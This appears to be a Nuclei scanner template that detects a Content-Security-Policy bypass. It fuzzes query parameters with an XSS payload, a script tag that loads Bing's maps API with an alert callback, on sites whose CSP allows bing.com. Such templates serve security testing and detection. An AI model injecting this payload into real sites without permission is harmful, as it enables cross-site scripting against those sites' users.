id: bing-csp-bypass

info:
  name: Content-Security-Policy Bypass - Bing
  author: renniepak,DhiyaneshDK
  severity: medium
  reference:
    - https://github.com/renniepak/CSPBypass/blob/main/data.tsv
  metadata:
    verified: true
  tags: xss,csp-bypass,bing,vuln

flow: http(1) && headless(1)

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    matchers:
      - type: word
        part: header
        words:
          - "Content-Security-Policy"
          - "bing.com"
        condition: and
        internal: true

headless:
  - steps:
      - action: navigate
        args:
          url: "{{BaseURL}}"

      - action: waitdialog
        name: bing_csp_xss
        args:
          max-duration: 5s

    payloads:
      injection:
        - '<script src="https://www.bing.com/api/maps/mapcontrol?key=AlSfV3wSTlPFqxEdS97v1d1ZK25Qg4OxZerOAjFYQPZwtY4bQqhz4jDRou_kCmbJ&callback=alert"></script>'

    fuzzing:
      - part: query
        type: replace
        mode: single
        fuzz:
          - "{{url_encode(injection)}}"

    matchers:
      - type: dsl
        dsl:
          - "bing_csp_xss == true"
# digest: 4a0a00473045022007dc8804ee955fc9a3638777598e2d9c23abe07daa1f15094f5be48a136118e6022100e2d84e009f7c2ed793e592ad391262ef0d5b132cea7f3f3b5ee744b0ea1092f7:922c64590222798bb761d5b6d8e72950